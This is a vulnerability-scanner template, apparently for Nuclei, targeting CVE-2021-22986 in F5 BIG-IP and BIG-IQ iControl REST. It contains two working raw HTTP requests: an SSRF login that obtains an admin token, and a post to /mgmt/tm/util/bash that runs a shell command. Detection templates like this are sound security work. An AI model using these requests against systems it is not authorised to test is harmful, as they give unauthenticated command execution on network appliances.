id: CVE-2021-22986 info: name: F5 iControl REST - Remote Command Execution author: rootxharsh,iamnoooob severity: critical description: F5 iControl REST interface is susceptible to remote command execution. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. This affects BIG-IP 16.0.x before 16.0.1.1, 15.1.x before 15.1.2.1, 14.1.x before 14.1.4, 13.1.x before 13.1.3.6, and 12.1.x before 12.1.5.3; and BIG-IQ 7.1.0.x before 7.1.0.3 and 7.0.0.x before 7.0.0.2. reference: - https://attackerkb.com/topics/J6pWeg5saG/k03009991-icontrol-rest-unauthenticated-remote-command-execution-vulnerability-cve-2021-22986 - https://support.f5.com/csp/article/K03009991 - http://packetstormsecurity.com/files/162059/F5-iControl-Server-Side-Request-Forgery-Remote-Command-Execution.html - https://nvd.nist.gov/vuln/detail/CVE-2021-22986 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2021-22986 cwe-id: CWE-918 epss-score: 0.97452 cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* metadata: max-request: 2 vendor: f5 product: big-ip_access_policy_manager tags: bigip,cve,cve2021,rce,kev,packetstorm http: - raw: - | POST /mgmt/shared/authn/login HTTP/1.1 Host: {{Hostname}} Accept-Language: en Authorization: Basic YWRtaW46 Content-Type: application/json Cookie: BIGIPAuthCookie=1234 Connection: close {"username":"admin","userReference":{},"loginReference":{"link":"http://localhost/mgmt/shared/gossip"}} - | POST /mgmt/tm/util/bash HTTP/1.1 Host: {{Hostname}} Accept-Language: en X-F5-Auth-Token: {{token}} Content-Type: application/json Connection: close {"command":"run","utilCmdArgs":"-c id"} matchers: - type: word words: - "commandResult" - "uid=" condition: and extractors: - type: regex name: token group: 1 regex: - "([A-Z0-9]{26})" internal: true part: body - type: regex group: 1 regex: - "\"commandResult\":\"(.*)\"" part: body